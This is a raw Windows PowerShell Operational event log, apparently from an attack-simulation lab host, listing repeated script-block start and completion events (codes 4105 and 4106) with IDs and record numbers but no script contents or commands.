Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035705
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035704
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035703
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035702
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035686
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035685
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035680
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035679
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
